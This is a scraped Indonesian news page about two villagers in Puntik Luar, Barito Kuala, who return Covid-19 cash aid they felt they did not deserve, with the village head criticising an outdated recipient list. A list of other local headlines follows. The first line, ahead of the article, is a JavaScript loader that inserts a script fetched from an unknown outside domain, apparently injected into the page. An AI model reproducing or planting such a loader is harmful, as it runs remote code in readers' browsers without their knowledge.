(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ini Patut Ditiru, Merasa Tidak Miskin Dua Warga Puntik Luar Kembalikan Uang BST


KANALKALIMANTAN. COM, MARABAHAN – Dua warga di Desa Puntik Luar, Kecamatan Mandastana, Kabupaten Barito Kuala (Batola) mengembalikan dana Bantuan Sosial Tunai (BST) Covid-19 dari Kementrian Sosial RI. Selain merasa tidak berhak menerima, dua warga yang merasa masih mampu tersebut mundur dari data penerima BLT dana desa selama 3 bulan.

“Uang bantuan sosial tunai sebesar Rp.600.000 yang diberikan untuk warga terdampak wabah Covid-19 selama 3 bulan berturut turut ini, saya kembalikan lantaran saya masih mampu saja,” ucap Bahriana, salah seorang warga Desa Puntik Luar yang mengembalikan BST.

Bahriana menambahkan pengembalian dilakukannya secara sukarela, setelah pemerintah desa melakukan sosialisasi mengenai daftar penerima dan orang-orang yang berhak menerima.

“Sebelumnya saya mendapati nama saya tercantum di situ, namun karena saya merasa masih banyak lagi yang membutuhkan dan merasa tidak pantas mendapatkan bantuan ini, lantas saya melapor ke kepala desa. Semoga yang memang membutuhkan dapat memanfaatkan dana ini,” jelasnya.

Sementara itu, Abdul Hasan, Kepala Desa Puntik Luar, Kecamatan Mandastana menjelaskan, hingga hari ini sudah ada dua warganya yang menggembalikan BST ini. “Atas nama Bahriana dan Sulimah,” ujarnya.

Dana BST yang diserahkan warga melalui kepala desa ini akan diserahkan kembali sesuai mekanisme ke kantor pos di Kecamatan Mandastana, Kabupaten Batola.

“Alhamdulillah ada kesadaran warga di desa ini untuk mengembalikan dana BST tersebut, mereka merasa masih mampu dan berpikir masih banyak warga lain yang masih sangat membutuhkan, semoga bisa menjadi teladan buat warga yang lainnya,” katanya.

Sebelumnya relawan Covid-19 desa Puntik Luar menerima list data warga desa tahun 2015 dari Dinsos Batola, berisi nama yang berhak menerima bantuan. Setelah dilakukan verifikasi dan penyeleksian warga yang berhak menerima bantuan tersebut, list itu kembali diserahkan ke Dinsos, namun setelah data itu dikembalikan tidak ada perubahan data.

“Jadi sebelumnya kami sudah perbaiki list nama penerima BST itu ke Dinsos, namun tidak ada perubahan sama sekali, hingga warga yang sudah meninggal dunia ada 6 orang masih masuk dalam penerima bantuan dari Kemensos RI ini, kami juga bingung mengapa bisa terjadi,” akunya.

Untuk Desa Puntik Luar sendiri, ada sebanyak 213 warga yang terdaftar sebagai penerima BST, dua diantaranya telah dikembalikan. (kanalkalimantan.com/rdy)

Reporter : rdy
Editor : bie

 


Al Ghifari

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

6 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

9 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

13 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

13 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

13 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

15 jam ago

This website uses cookies.